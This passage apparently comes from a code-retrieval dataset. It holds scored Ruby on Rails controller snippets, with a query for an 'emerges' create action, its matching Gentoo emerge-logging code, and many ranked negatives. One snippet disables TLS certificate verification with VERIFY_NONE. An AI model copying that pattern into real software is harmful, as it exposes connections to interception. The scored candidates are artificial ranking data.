@location.save\n format.html { redirect_to @location, notice: 'Location was successfully create.'}\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\"}\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0a24cc8da5e10d3bdfd76555cabfa06a", "score": "0.52972996", "text": "def movimiento_params\n params.require(:movimiento).permit(:user_id, :tarjetum_id, :importe, :puntos, :premio_id)\n end", "title": "" }, { "docid": "2b8bbe086624c09edc2dd08a29ceb859", "score": "0.5295487", "text": "def create\n @motorista = Motorista.new(motorista_params)\n\n respond_to do |format|\n if @motorista.save\n format.html { redirect_to @motorista, notice: 'Motorista was successfully created.' }\n format.json { render :show, status: :created, location: @motorista }\n else\n format.html { render :new }\n format.json { render json: @motorista.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "71f018c0a020fcad80586f0d65d48448", "score": "0.52930814", "text": "def index\n @movements = Movement.paginate(:page => params[:page], :per_page => 100)\n end", "title": "" }, { "docid": "19413b242d159abeb26f6aa35299f498", "score": "0.5286188", "text": "def movil_params\n params.require(:movil).permit(:nromovil, :marca, :modelo, :dominio, :estado_id, :fecha_estado, \n :agencia_id, :propietario_id, :chofer_id, :motivo_cambio_estado, :km_recorridos, \n :km_recorridos_hasta, :ultimo_cambio_embrague_km, :fecha_cambio_embrague, :ventana_cambio_embrague_km, \n :ultimo_cambio_correa_dist_km, :fecha_cambio_correa_dist, :ventana_cambio_correa_dist_km)\n end", "title": "" }, { "docid": "cb95c56ce24f7765d1da82f2cebc3b33", "score": "0.5284202", "text": "def move_params\n params.require(:move).permit(:name, :input, :startup, :on_block, :on_hit, :on_counter_hit, :hit_damage, :conter_hit_damage, :hit_level, :counter, :character_id, :cancel_input, :stance_transition_input, :type, :stance_id, :parent_id, :property_ids => [], :stance_transition_ids => [], :effects_hit_ids => [], :effects_counter_hit_ids => [], :effects_block_ids => [], :purpose_ids => [])\n end", "title": "" }, { "docid": "d95ce7128de8b6bc55799c484cd7a9d9", "score": "0.5269093", "text": "def create\n @observaciontutor = Observaciontutor.new(observaciontutor_params)\n\n respond_to do |format|\n if @observaciontutor.save\n format.html { redirect_to @observaciontutor, notice: 'Observaciontutor was successfully created.' }\n format.json { render :show, status: :created, location: @observaciontutor }\n else\n format.html { render :new }\n format.json { render json: @observaciontutor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "054e3b1d346da48cb0dfac6b0c221f3f", "score": "0.5264895", "text": "def create\n # binding.pry\n @movie = Movie.new(movie_params)\n tag_list = params[:movie][:tag_name].to_s.split('nil')\n respond_to do |format|\n if @movie.save\n @movie.save_movies(tag_list)\n format.html { redirect_to @movie, notice: '投稿が完了しました' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9d57f6e1609e2eba5625d1898c056bfc", "score": "0.5262785", "text": "def movie_params\n params.require(:movie).permit(:nombre, :descripcion, :img_url, :dias_presentacion, reservations: [])\n end", "title": "" }, { "docid": "28a33b37385b9f88bc393b6ba0cdca41", "score": "0.5258907", "text": "def create\n @reservation_room = ReservationRoom.new(reservation_room_params)\n @reservations = Reservation.all\n \n respond_to do |format|\n if @reservation_room.save\n format.html { redirect_to @reservation_room, notice: 'La habitacion se ha asignado a la reserva correctamente.' }\n format.json { render action: 'show', status: :created, location: @reservation_room }\n else\n format.html { render action: 'new' }\n format.json { render json: @reservation_room.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c97f0780accee2d43c5e24f42c05f732", "score": "0.52579576", "text": "def new\n @courtstation = Courtstation.find(params[:courtstation_id])\n @casefile = @courtstation.casefiles.find(params[:casefile_id])\n @movement = @casefile.movements.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @movement }\n end\n end", "title": "" }, { "docid": "5e935ab180326e3a285fe39708fc16bc", "score": "0.52466375", "text": "def movimimiento_ventum_params\n params.require(:movimimiento_ventum).permit(:numero_movimiento, :cod_venta, :tipo_movimiento, :numero_operacion, :monto, :estado, :usu_crea, :fec_crea, :usu_mod, :fec_mod)\n end", "title": "" }, { "docid": "0980a19a5d51c5a90c546618c45be553", "score": "0.5244415", "text": "def create\n # @route = Route.new(params[:route])\n \n waypoints = params[:waypoints]\n creator = params[:creator]\n updated_at = params[:updated_at]\n name = params[:name]\n\n @route = Route.new(waypoints: waypoints, creator: creator, updated_at: updated_at, name: name)\n \n @route.save\n\n render json: @route\n\n # @vote_creator = VoteCreator.new(vote_params)\n # @vote = @vote_creator.vote\n # if @vote_creator.save\n # render json: @vote, status: :created, location: @vote\n # else\n # render json: @vote.errors, status: :unprocessable_entity\n # end\n end", "title": "" }, { "docid": "685f5424d1bf90de1114a01d02dd9c03", "score": "0.5244361", "text": "def create\n attrs = whitelist(params, :create).merge customer: current_user.becomes(Users::Customer)\n dattrs = attrs.delete(:destinations_attributes)\n\n @travel = Travels::Travel.new(attrs)\n\n dattrs.each_key do |key|\n dattr = dattrs[key]\n iattrs = dattr.delete(:items_attributes)\n\n dest = Travels::Places::Destination.new(dattr)\n\n iattrs.each_key do |key|\n @travel.items.build(iattrs[key]).destination = dest\n end if iattrs\n end\n\n # @travel.customer = current_user.becomes(Users::Customer)\n\n respond_to do |format|\n if @travel.save\n format.html { redirect_to status_travel_path(@travel), notice: \"Gracefully created the travel!\" }\n format.json { render json: @travel, status: :created, location: @travel }\n else\n format.html { redirect_to new_travel_path, alert: \"Failed to create the travel! Errors: #{@travel.errors.full_messages}\" }\n format.json { render json: @travel.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "828dfb96cc75df98fc15fe2283d8d28f", "score": "0.5240738", "text": "def motion_params\n params.require(:motion).permit(:name, :content, :petition_id)\n end", "title": "" }, { "docid": "7db4b555cee0b74263cd64c630aa8485", "score": "0.5239236", "text": "def make_move\n # process the user's credentials\n return render json: { errors: ['not authenticated'] }, status: 403 unless username_and_password?\n user_id = User.authenticate(params[:username], params[:password])\n return render json: { errors: ['not authenticated'] }, status: 403 if user_id.nil?\n\n # find the game and verify that the game is still going and that the user should make the next move\n game = Game.find(params[:id])\n return render json: { errors: ['not a participant'] }, status: 403 unless game.has_user(user_id)\n return render json: { errors: ['game already over'] }, status: 422 if game.game_over\n return render json: { errors: ['not your turn'] }, status: 422 unless game.next_player() == user_id\n return render json: { errors: ['location is required'] }, status: 422 unless params[:location].present?\n\n # attempt to play the provided move\n result = game.play(user_id, params[:location].to_s)\n\n # alert the user if they made a bad move\n return render json: { errors: ['bad move'] }, status: 422 if result == :unable_to_set\n\n # save otherwise\n if game.save\n render json: game, status: 201, location: [game]\n else\n render json: { errors: game.errors }, status: 422\n end\n end", "title": "" }, { "docid": "69a0a11441b8e213b145e55f05b8b6ec", "score": "0.5238684", "text": "def destroy\n # @movement.destroy\n if @movement.update(deleted_at: DateTime.now)\n respond_to do |format|\n format.html { redirect_to movements_url, notice: 'Movement was marked as deleted.' }\n format.json { head :no_content }\n end\n else\n format.html { redirect_to movements_url, notice: 'error deleting movement.' }\n format.json { render json: @movement.errors, status: :unprocessable_entity }\n end\n end", "title": "" }, { "docid": "29761e743c941bd97e393a375477d012", "score": "0.52365285", "text": "def create\n @motoristum = Motoristum.new(motoristum_params)\n\n respond_to do |format|\n if @motoristum.save\n format.html { redirect_to @motoristum, notice: 'Motoristum was successfully created.' }\n format.json { render :show, status: :created, location: @motoristum }\n else\n format.html { render :new }\n format.json { render json: @motoristum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d48504bcd611a46996b57f2c7a661236", "score": "0.5232303", "text": "def account_movement_params\n params.require(:account_movement).permit(:investor_id, :value_date, :movement_date, :value, :description, :movement_type)\n end", "title": "" }, { "docid": "48e228fdda03ae081432465cf059d9f9", "score": "0.5227098", "text": "def destroy\n @movement.destroy\n respond_to do |format|\n format.html { redirect_to movements_url, notice: 'Movement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "48e228fdda03ae081432465cf059d9f9", "score": "0.5227098", "text": "def destroy\n @movement.destroy\n respond_to do |format|\n format.html { redirect_to movements_url, notice: 'Movement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e2c9e9dd2d1fe4167a31992fb1704343", "score": "0.5220348", "text": "def movimiento_params\n params.require(:movimiento).permit(:caja_id, :fecha, :cajas_concepto_id, :descripcion, :monto)\n end", "title": "" }, { "docid": "817f9d45030ee7371533b0bb233b8844", "score": "0.52188116", "text": "def create\n @move = Move.find(params[:move_id]) if params[:move_id].present?\n\n if @move != nil\n user_id = params['tomato']['user_id']\n if user_id.kind_of?(Array)\n user_id.each do |user|\n params['tomato']['user_id'] = user\n @tomato = @move.tomatoes.create!(params[:tomato]) unless user.to_i <= 0\n end\n else\n @tomato = @move.tomatoes.create!(params[:tomato])\n end\n end\n\n if @tomato == nil\n @tomato = Tomato.new(params[:tomato])\n end\n \n respond_to do |format|\n if @tomato.save\n if @move.present?\n format.html { redirect_to @move, notice: 'Tomato was successfully created.' }\n elsif @tomato.move_type.present?\n format.html { redirect_to plan_projects_path(:id => @tomato.project.id, :move_type => @tomato.move_type.id), notice: 'Tomato was successfully created.' }\n else\n format.html { redirect_to plan_projects_path(:id => @tomato.project.id), notice: 'Tomato was successfully created.' }\n end\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @tomato.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d4f8a51507eddb06e9e7f14a440fa9e", "score": "0.5209937", "text": "def create\n @reservation = Reservation.new(reservation_params) \n respond_to do |format|\n if @reservation.save\n\n Reservation.last.reservation_rooms.each do |reservation|\n #Cambio el estado de la habitacion\n reservation.update({start: reservation.check_in, end: (reservation.check_out.to_date)+1,title: \"Reserva: \"+Room.find(reservation.room_id).identificador ,textColor: \"#ffffff\"})\n #Le pongo check_in y check_out para el calendario\n Room.find(reservation.room_id).update({state_id: 3})\n end\n\n format.html { redirect_to reservations_path(), notice: 'Reservacion creada exitosamente.' }\n #format.json { render :show, status: :created, location: @reservation }\n else\n #@my_reservation_requests = ReservationRequest.find(reservation_params[:reservation_request_id])\n #@reservation.reservation_requests.build()\n @reservation.reservation_rooms.build() \n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "851939adf3282cc712f6e06391c704be", "score": "0.5208269", "text": "def create\n @ground_move = GroundMove.new(ground_move_params)\n\n respond_to do |format|\n if @ground_move.save\n format.html { redirect_to @ground_move, notice: 'Ground move was successfully created.' }\n format.json { render :show, status: :created, location: @ground_move }\n else\n format.html { render :new }\n format.json { render json: @ground_move.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "365acb7b7b20c38c30d52747889823c5", "score": "0.52081054", "text": "def create\n @moviie = Moviie.new(moviie_params)\n\n respond_to do |format|\n if @moviie.save\n format.html { redirect_to @moviie, notice: 'Moviie was successfully created.' }\n format.json { render :show, status: :created, location: @moviie }\n else\n format.html { render :new }\n format.json { render json: @moviie.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "538865d0644d3ac5f86f6d33ab5e95ac", "score": "0.5206859", "text": "def create\n @motto = Motto.new(motto_params)\n\n respond_to do |format|\n if @motto.save\n format.html { redirect_to @motto, notice: 'Motto was successfully created.' }\n format.json { render :show, status: :created, location: @motto }\n else\n format.html { render :new }\n format.json { render json: @motto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b7bf8dba8621b1f1c6468ce6302fa5f", "score": "0.5204813", "text": "def create\n positions = JSON.parse(params['positions'])\n\n # Fill in body to initialize the game and return a 200 response\n\n render plain: \"OK\"\n end", "title": "" }, { "docid": "476aa4da84615e3cbc7b2d8c9b5c35d8", "score": "0.52036875", "text": "def create\n @mission = Mission.new(params[:mission])\n\n respond_to do |format|\n if @mission.save\n format.html { redirect_to @mission, :notice => 'La mission est cree.' }\n format.json { render :json => @mission, :status => :created, :location => @mission }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @mission.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "72237884ef9b7bc54378730ad76521c6", "score": "0.520218", "text": "def create\n @bowel_movement = BowelMovement.new(params[:bowel_movement])\n\n respond_to do |format|\n if @bowel_movement.save\n format.html { redirect_to [@parent, @child, @bowel_movement], notice: 'Bowel movement was successfully created.' }\n format.json { render json: @bowel_movement, status: :created, location: @bowel_movement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bowel_movement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5134c765588aec16c5cc3ad11f1e4f07", "score": "0.51906276", "text": "def movimentacao_params\n params.require(:movimentacao).permit(:quantidade, :pessoa_id, :operacao_id, :produto_id, :data)\n end", "title": "" }, { "docid": "55066b4eed190e12c4e6a91935ec0342", "score": "0.5188617", "text": "def patrimony_params\n params.require(:patrimony).permit(:tag, :movement_id, movement_attributes: [:action, :product_id, :amount, :shelfLife, :lifeCycle, :unitaryValue, :value, :data])\n end", "title": "" }, { "docid": "aefb1754d725718e9c9de28c365a2c5b", "score": "0.5185166", "text": "def new\n @movement = Movement.new\n end", "title": "" }, { "docid": "c0219feecb139b4b89dc99361ee6ecf6", "score": "0.51843923", "text": "def index\n @estimated_movements = current_user.estimated_movements.all\n end", "title": "" }, { "docid": "51cff80145b69aaf11442667e1f1b1f6", "score": "0.51840395", "text": "def create\n @reputacao_motoristum = ReputacaoMotoristum.new(params[:reputacao_motoristum])\n\n respond_to do |format|\n if @reputacao_motoristum.save\n format.html { redirect_to(@reputacao_motoristum, :notice => 'Voce reputou o motorista com sucesso.') }\n format.xml { render :xml => @reputacao_motoristum, :status => :created, :location => @reputacao_motoristum }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reputacao_motoristum.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c6f626214f7cfb27e4c4837d97f885ad", "score": "0.51799834", "text": "def destroy\n @movement.destroy\n respond_to do |format|\n format.html { redirect_to movements_url, notice: 'Registro eliminado satisfactoriamente.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
c9bf1d4ede5c43439d61b5fddb3a3670
POST /emerges POST /emerges.xml
[ { "docid": "d38bce14537930aca9a2dbc505d91d35", "score": "0.59533966", "text": "def create\n error = \"Unknown error.\"\n @user = User.find_by_login(params[:user])\n @emerge = nil\n if @user.sitekey and @user.sitekey == params[:token]\n @package = getPackage(params[:package])\n @emerge = @user.emerges.build(params[:emerge])\n @emerge.package = @package\n @emerge.tobe_tweet = @user.tweet_emerged && (@user.tweet_interval != 0)\n else\n error = \"Invalid key. Check your configuration.\"\n end\n \n if @emerge and @emerge.buildtime > 30.minutes.since\n @emerge = nil\n error = \"Your clock stay in the feature!\"\n end\n\n if @emerge\n dupcount = Emerge.count(:conditions =>\n { :buildtime => @emerge.buildtime,\n :duration => @emerge.duration,\n :user_id => @emerge.user_id\n })\n if dupcount > 0\n @emerge = nil\n error = \"Duplicated record\"\n end\n end\n\n if @emerge\n @emerge.log_hash = @emerge.save_hash_file(@emerge.log)\n @emerge.log = nil\n @emerge.errorlog_hash = @emerge.save_hash_file(@emerge.errorlog)\n @emerge.errorlog = nil\n end\n\n respond_to do |format|\n if @emerge and @emerge.save\n if @user.tweet_emerged\n if @user.tweet_interval == 0\n stat = @package.fullname + \n if @emerge.duration == 0\n \"のemergeに失敗しました。\"\n else\n \"をemergeしました (\"+@emerge.pretty_duration+\")\"\n end +\n \" http://gentwoo.elisp.net\"+@emerge.page+\" #GenTwoo\"\n @user.twitter.post('/statuses/update.json', :status => stat)\n end\n end\n format.xml { render :xml => @emerge, :status => :created, :location => @emerge }\n format.json {\n render :json => {\"result\" => \"OK\", \"info\" => \"\"}.to_json(),\n :status => :created, :location => @emerge }\n elsif @emerge\n format.xml { render :xml => @emerge.errors, :status => :unprocessable_entity }\n format.json {\n render :json => {\"result\" => \"ERROR\", \"info\" => @emerge.errors}.to_json(),\n :status => :created, :location => @emerge }\n else\n format.xml { render :xml => \"\", :status => :unprocessable_entity }\n format.json { \n render :json => {\"result\" => \"ERROR\", \"info\" => error}.to_json(),\n :status => :created }\n end\n end\n end", "title": "" } ]
[ { "docid": "ded0436a42549d20329c65b1930e2dfe", "score": "0.59958935", "text": "def destroy\n @emerge = Emerge.find(params[:id])\n @emerge.destroy\n\n respond_to do |format|\n format.html { redirect_to(emerges_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "aa0ec057ecacc23d6cd919b800bdd0fd", "score": "0.58020514", "text": "def merge\n @node = Node.find(params[:id])\n # we should somehow signal to the user that this is going to take some time?\n debugger\n merged = @node.merge_all_leaves\n # response.headers['Content-Type'] = 'text/xml' # I've also seen this for CSV files: 'text/csv; charset=iso-8859-1; header=present'\n # response.headers['Content-Disposition'] = 'attachment; filename=merged.otml'\n send_data merged, :type => 'text/xml', :disposition => 'attachment; filename=merged.otml'\n end", "title": "" }, { "docid": "7e51bada434eb3435b1420e5b68c94ad", "score": "0.5440578", "text": "def index\n perpage = 20\n page = params[:page].to_i || 0\n @emerges = Emerge.order(\"buildtime DESC\").limit(perpage).offset(page*perpage)\n count = Emerge.count()\n @prevpage = page - 1\n @nextpage = page + 1\n\n @prevpage = nil if @prevpage < 0\n @nextpage = nil if count < @nextpage * perpage\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @emerges }\n end\n end", "title": "" }, { "docid": "85900f76108e2a6dbba3b894212c274d", "score": "0.53767765", "text": "def postEntityMerge( from, to, override_trust, uncontribute_masheryid, uncontribute_userid, uncontribute_supplierid, delete_mode)\n params = Hash.new\n params['from'] = from\n params['to'] = to\n params['override_trust'] = override_trust\n params['uncontribute_masheryid'] = uncontribute_masheryid\n params['uncontribute_userid'] = uncontribute_userid\n params['uncontribute_supplierid'] = uncontribute_supplierid\n params['delete_mode'] = delete_mode\n return doCurl(\"post\",\"/entity/merge\",params)\n end", "title": "" }, { "docid": "ccb541a4fbef5397add5bb202dd9f102", "score": "0.53166866", "text": "def merge_request(id)\n url = merge_request_url(id) + \".xml\"\n doc = Nokogiri::HTML(open(url))\n ending_commit = doc.at(\"ending-commit\").content\n merge_base_sha = doc.xpath('//versions/version').last.at('merge_base_sha').content\n summary = doc.at(\"summary\").content\n proposal = doc.at(\"proposal\").content\n result = MergeRequest.new\n result.ending_commit = ending_commit\n result.merge_base_sha = merge_base_sha\n result.summary = summary\n result.id = id\n result.proposal = proposal\n result\n end", "title": "" }, { "docid": "34ca72030299fcd592f9f3db22d3ad1f", "score": "0.52992165", "text": "def merge\n frm.link(:text=>\"Merge\").click\n AnnouncementsMerge.new(@browser)\n end", "title": "" }, { "docid": "4b68890da53f0bd475851d94aa9f896f", "score": "0.52327365", "text": "def execute_mail_merge_with_regions str_xml\n \n begin\n\n if str_xml == ''\n raise 'XML not specified.'\n end\n\n str_uri = $product_uri + '/words/' + @filename + '/executeMailMerge?withRegions=true'\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n response_stream = RestClient.post(signed_str_uri,str_xml,{:accept=>:json})\n stream_hash = JSON.parse(response_stream)\n valid_output = Aspose::Cloud::Common::Utils.validate_output(response_stream)\n \n if valid_output == '' \n folder = Aspose::Cloud::AsposeStorage::Folder.new\n output_stream = folder.get_file(stream_hash['Document']['FileName']) \n output_path = $out_put_location + @filename\n Aspose::Cloud::Common::Utils.save_file(output_stream,output_path)\n return ''\n else\n return valid_output\n end \n \n \n rescue Exception=>e\n print e\n end\n \n end", "title": "" }, { "docid": "2b176c1edbfa2424462cf68a0bcafcfe", "score": "0.5203748", "text": "def execute_mail_merge str_xml\n \n begin\n\n if str_xml == ''\n raise 'XML not specified.'\n end\n\n str_uri = $product_uri + '/words/' + @filename + '/executeMailMerge'\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n \n response_stream = RestClient.post(signed_str_uri,str_xml,{:accept=>:json})\n stream_hash = JSON.parse(response_stream)\n \n valid_output = Aspose::Cloud::Common::Utils.validate_output(response_stream)\n \n if valid_output == '' \n folder = Aspose::Cloud::AsposeStorage::Folder.new\n output_stream = folder.get_file(stream_hash['Document']['FileName'])\n output_path = $out_put_location + @filename\n Aspose::Cloud::Common::Utils.save_file(output_stream,output_path)\n return ''\n else\n return valid_output\n end \n \n \n rescue Exception=>e\n print e\n end\n \n end", "title": "" }, { "docid": "e4899264861e3c1453072526629a6a03", "score": "0.512062", "text": "def execute_mail_merge str_xml\n\n if str_xml == ''\n raise 'XML not specified.'\n end\n\n str_uri = $product_uri + '/words/' + @filename + '/executeMailMerge'\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n\n response_stream = ::RestClient.post(signed_str_uri, str_xml, {:accept => :json})\n stream_hash = JSON.parse(response_stream)\n\n valid_output = Aspose::Cloud::Common::Utils.validate_output(response_stream)\n\n if valid_output.blank?\n folder = Aspose::Cloud::AsposeStorage::Folder.new\n output_stream = folder.get_file(stream_hash['Document']['FileName'])\n output_path = $out_put_location + @filename\n Aspose::Cloud::Common::Utils.save_file(output_stream, output_path)\n return ''\n end\n\n valid_output\n\n\n end", "title": "" }, { "docid": "a27a55a15cbcb57b1fe7a7c94b0fa566", "score": "0.50747335", "text": "def ems\n GatewayMessage.store( params[:xml] )\n render :text => 'OK'\n end", "title": "" }, { "docid": "84332adb79781419f8da151a0f416b06", "score": "0.5065234", "text": "def execute_mail_merge_with_regions str_xml\n raise 'XML not specified.' if str_xml.blank?\n\n str_uri = $product_uri + '/words/' + @filename + '/executeMailMerge?withRegions=true'\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n response_stream = ::RestClient.post(signed_str_uri, str_xml, {:accept => :json})\n stream_hash = JSON.parse(response_stream)\n valid_output = Aspose::Cloud::Common::Utils.validate_output(response_stream)\n\n if valid_output.blank?\n folder = Aspose::Cloud::AsposeStorage::Folder.new\n output_stream = folder.get_file(stream_hash['Document']['FileName'])\n output_path = $out_put_location + @filename\n Aspose::Cloud::Common::Utils.save_file(output_stream, output_path)\n return ''\n end\n valid_output\n\n end", "title": "" }, { "docid": "2200603c5568dd03778934103d850345", "score": "0.50548863", "text": "def create\n\n @reunion = Reunion.new(params[:reunion])\n asistente_ids = params[:asistente_ids]\n respond_to do |format|\n unless asistente_ids.nil? or asistente_ids.size < 2 then\n if @reunion.save\n\n asistente_ids.each do |asistente|\n @Asistente = ReunionsEstudiantes.new(:reunion_id => @reunion.id, :estudiante_id => asistente, :finalizado => false)\n @Asistente.save\n\n estudiante = Estudiante.find(:all, :conditions => [ \"id = ?\", asistente ])\n\n if asistente.to_f < 100 then\n datosAsist = {:nombre => estudiante[0].nombreEstudiante,\n :correo => estudiante[0].correoElectronico + \"@uniandes.edu.co\"}\n else\n profesor = Profesor.find(asistente)\n correo = \"harjair@hotmail.com\"\n datosAsist = {:nombre => profesor.nombre, :correo => correo}\n end\n\n UserMailer.notificar_reunion(datosAsist, @reunion).deliver\n end\n\n format.html { redirect_to @reunion, notice: 'Reunion creada exitosamente.' }\n format.json { render json: @reunion, status: :created, location: @reunion }\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @reunion.errors, status: :unprocessable_entity }\n end\n else\n @reunion.errors[:estudiante_ids] = \"Seleccione al menos dos asistentes a la reunión\"\n format.html { render action: \"new\" }\n format.json { render json: @reunion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "30f98d2e62f34256cd4a0ddb70851f0d", "score": "0.49404666", "text": "def merge\n @primary = Client.find(params[:primary_id])\n @secondary = Client.find(params[:secondary_id])\n \n #merge primary_backup and secondary_backup\n @primary.attributes = @secondary.attributes.except(\"id\", \"created_at\", \"updated_at\")\n .delete_if { |k, v| v.blank? }\n #merge tickets\n @secondary.tickets.update_all(client_id: @primary.id)\n #merge backups\n @secondary.backups.update_all(client_id: @primary.id)\n #merge computers\n @secondary.computers.update_all(client_id: @primary.id)\n #merge parts\n @secondary.parts.update_all(client_id: @primary.id)\n #merge dispatches\n @secondary.dispatches.update_all(client_id: @primary.id)\n #merge items\n @secondary.items.update_all(client_id: @primary.id)\n #merge dispatches\n @secondary.anti_viri.update_all(client_id: @primary.id)\n #merge Contract_services\n @secondary.contract_services.update_all(client_id: @primary.id)\n #merge Contract_service_lines\n @secondary.contract_service_lines.update_all(client_id: @primary.id)\n #save backup merge\n @primary.save\n #remove secondary_backup\n @secondary.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully Merged then destroyed.' }\n format.json { head :no_content }\n \n end\n end", "title": "" }, { "docid": "1acf4aaffa24ef1b60a6d7de8f84e371", "score": "0.4876836", "text": "def index\n @merges = Merge.all\n end", "title": "" }, { "docid": "e2621af7c60b01848b7a10e968b77e6d", "score": "0.48362574", "text": "def merge_params\n REXML::XPath.first(node, \".//*[@merge|@merge-params]\")._?.name\n end", "title": "" }, { "docid": "569fa16f31cf1b15b0b09dc42451d08a", "score": "0.4829041", "text": "def forcemerge(options = nil)\n request(:post, \"_forcemerge\", options)\n end", "title": "" }, { "docid": "114352d62b4f82fef6607f770762713d", "score": "0.47893628", "text": "def merge\n # Add desc and activate\n @new_jingle = current_user.jingles.create\n current_user.tag(@new_jingle, with: extract_hashtags(params[:jingle][:desc]), on: :hashtags)\n redirect_path = jingles_user_index_path #jingle.has_parent? ? open_jingle_path(jingle.parent, open: \"tracks\") : jingles_user_index_path\n \n respond_to do |format|\n if @new_jingle.delay.create_from_origin(params[:jingle]) #jingle.can_merge_track?(params[:force])\n format.html { redirect_to redirect_path, notice: t(\"flash.notice.create\", item: @new_jingle.class)}\n format.js {}\n else\n format.html { render action: \"new\" }\n format.js {}\n end\n end\n end", "title": "" }, { "docid": "a948f2b563dcb4cb7274de930f808640", "score": "0.47755575", "text": "def postEntityUnmerge( entity_id, unmerge_masheryid, unmerge_supplier_id, unmerge_user_id, destructive)\n params = Hash.new\n params['entity_id'] = entity_id\n params['unmerge_masheryid'] = unmerge_masheryid\n params['unmerge_supplier_id'] = unmerge_supplier_id\n params['unmerge_user_id'] = unmerge_user_id\n params['destructive'] = destructive\n return doCurl(\"post\",\"/entity/unmerge\",params)\n end", "title": "" }, { "docid": "a4714294f70d1dca817780f68770e4ba", "score": "0.475446", "text": "def index\n @admin_merges = Admin::Merge.all\n end", "title": "" }, { "docid": "5fcc20050f5e8f49b9d02b386187c572", "score": "0.46902195", "text": "def merge\n # get the destination post that we're merging into\n dest_post = Post.find(params[:merge][:post_id])\n \n # update the destination post with it's new values\n dest_post.user_id = params[:merge][:user_id]\n dest_post.content = params[:merge][:content]\n dest_post.save\n \n # delete all the other post\n params[:merge][:post_ids].split(/, ?/).each do |post_id|\n if dest_post.id != post_id.to_i\n Post.find(post_id).destroy\n end\n end\n\n redirect_to topic_url(params[:merge][:topic_id])\n end", "title": "" }, { "docid": "d8ad023fe9f2da2b7a8c7ba73df6c678", "score": "0.46814632", "text": "def merge_requests\n merge_requests = MergeRequestsFinder.new(current_user).execute\n unless default_project_filter\n merge_requests = merge_requests.in_projects(project_ids_relation)\n end\n\n merge_requests =\n if query =~ /[#!](\\d+)\\z/\n merge_requests.where(iid: $1)\n else\n merge_requests.full_search(query)\n end\n\n merge_requests.reorder('updated_at DESC')\n end", "title": "" }, { "docid": "b0b8260801f62ab8ba3287f1185b03e0", "score": "0.46668735", "text": "def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end", "title": "" }, { "docid": "41d1124eeea6f2f088cd27d84299032c", "score": "0.46378252", "text": "def tag_provider_collections_single_post\n post_body = nil\n post_body_providers = ''\n EOSDIS_PROVIDERS.each do |provider|\n if !provider.blank?\n provider = provider.strip\n Rails.logger.info(\"Processing provider: #{provider}\")\n #ensure that provider is present\n if (@all_providers[provider] != nil)\n Rails.logger.info(\"LOCATED PROVIDER: #{provider}\")\n # COLLECTIONS ARE BEING TAGGED so let's check if there are collections for each provider\n # help with debugging of timing issues since the tagging occurs at midnight and perhaps the collections expected\n # in the results set are tagged after that\n response = RestClient::Request.execute :method => :get, :url => \"#{@catalog_rest_endpoint}collections\",\n headers: {params: {provider: provider}},\n :verify_ssl => OpenSSL::SSL::VERIFY_NONE\n hits = response.headers[:cmr_hits].to_i\n if hits > 0\n Rails.logger.info(\"PROVIDER #{provider} HAS #{hits} COLLECTIONS\")\n post_body_providers = post_body_providers + '{\"provider\": \"' + provider + '\"},'\n end\n else\n Rails.logger.info(\"COULD NOT LOCATE PROVIDER: #{provider}\")\n end\n end\n end\n if (!post_body_providers.blank?)\n post_body_providers = post_body_providers.chomp(',')\n post_body = '{\n \"condition\": {\"or\" : [' + post_body_providers +\n ']}}'\n 